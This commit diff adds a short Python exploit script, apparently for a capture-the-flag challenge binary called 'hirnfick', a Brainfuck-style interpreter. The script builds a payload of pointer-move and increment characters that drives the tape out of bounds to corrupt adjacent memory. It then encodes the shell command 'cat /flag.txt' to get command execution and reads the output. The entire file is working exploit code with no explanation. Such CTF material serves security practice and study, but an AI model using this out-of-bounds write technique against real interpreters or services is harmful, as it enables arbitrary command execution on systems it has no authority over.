Initial commit

exploits.old/hirnfick/exp.py

@@ -0,0 +1,33 @@
+#!/usr/bin/env python3
+from subprocess import check_output
+from pwn import *
+
+def execute(payload):
+    with open("payload", "wb") as f:
+        f.write(payload)
+
+    output = check_output(["./hirnfick", "payload"])[13:]
+    return output
+
+def enc(s):
+    final = b""
+    for c in s:
+        final += b"+" * c
+        final += b">"
+    return final
+
+payload  = b"<" * 0x90
+payload += b"+" * (0x20)
+payload += b">"
+payload += b"+" * (0x5e-0x22)
+payload += b">"
+payload += b"---"
+payload += b">" * (0x90-2-0x20)
+payload += b"+"
+payload += b">" * 0x20
+payload += enc(b"cat /flag.txt")
+
+# payload += b".>" * 8
+
+out = execute(payload)
+print(hexdump(out))